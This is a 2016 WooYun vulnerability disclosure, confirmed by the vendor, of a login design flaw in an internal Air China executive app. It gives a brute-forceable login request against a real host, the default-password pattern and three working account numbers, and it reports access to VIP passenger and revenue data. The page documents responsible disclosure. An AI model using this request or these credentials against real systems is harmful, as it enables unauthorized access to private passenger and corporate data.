当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0214479

漏洞标题:中国国际航空股份有限公司某内部APP设计缺陷可获取大量敏感信息

相关厂商:中国国际航空股份有限公司

漏洞作者: 高小厨

提交时间:2016-05-30 16:50

修复时间:2016-07-15 09:00

公开时间:2016-07-15 09:00

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-30: 细节已通知厂商并且等待厂商处理中
2016-05-31: 厂商已经确认,细节仅向厂商公开
2016-06-10: 细节向核心白帽子及相关领域专家公开
2016-06-20: 细节向普通白帽子公开
2016-06-30: 细节向实习白帽子公开
2016-07-15: 细节向公众公开

简要描述:

你喜欢的空姐,我没找到

详细说明:

http://app.airchina.com.cn下载“高管驾驶舱”
爆破接口:

GET /camc_pserver/loginAction.do?method=loginCheck&WORK_NO=000001§2345§&PASSWORD=airchina1§2345§&VERSION_ID=1.0-ai-b06-1.5&DEVICE_OS_VERSION=8.1.1&DEVICE_SN=81C6EEB3-1C5A-46B9-BAFA-B799BE9CDB77&DEVICE_BRAND=iPhone HTTP/1.1
Host: mp.airchina.com.cn:8001
Accept: */*
User-Agent: %E9%AB%98%E7%AE%A1%E9%A9%BE%E9%A9%B6%E8%88%B1/1.0 CFNetwork/711.1.16 Darwin/14.0.0
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Connection: keep-alive


获取了几个可用账号,默认密码airchina+00000后面的编号:
0000010340
0000010515
0000010516
成功登陆APP

漏洞证明:

可遍历航班重点旅客

001.png

002.png


可查看航班情况(延误原因等)

0003.png


可查看每天的营收

IMG_0723.PNG


其他

IMG_0724.PNG

IMG_0725.PNG

IMG_0727.PNG


修复方案:

短信二次验证

版权声明:转载请注明来源 高小厨@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-05-31 08:56

厂商回复:

感谢对国航信息系统建设的帮助。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-30 16:56 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    那你喜欢的呢?

  2. 2016-05-30 17:40 | _Thorns ( 普通白帽子 | Rank:1875 漏洞数:289 | 以大多数人的努力程度之低,根本轮不到去拼...)

    我喜欢那个叫高小污的- -

  3. 2016-05-30 17:42 | 高小厨 认证白帽子 ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子!)

    @_Thorns 我也喜欢

  4. 2016-05-31 09:03 | 高小厨 认证白帽子 ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子!)

    @中国国际航空股份有限公司 20rank,真爱啊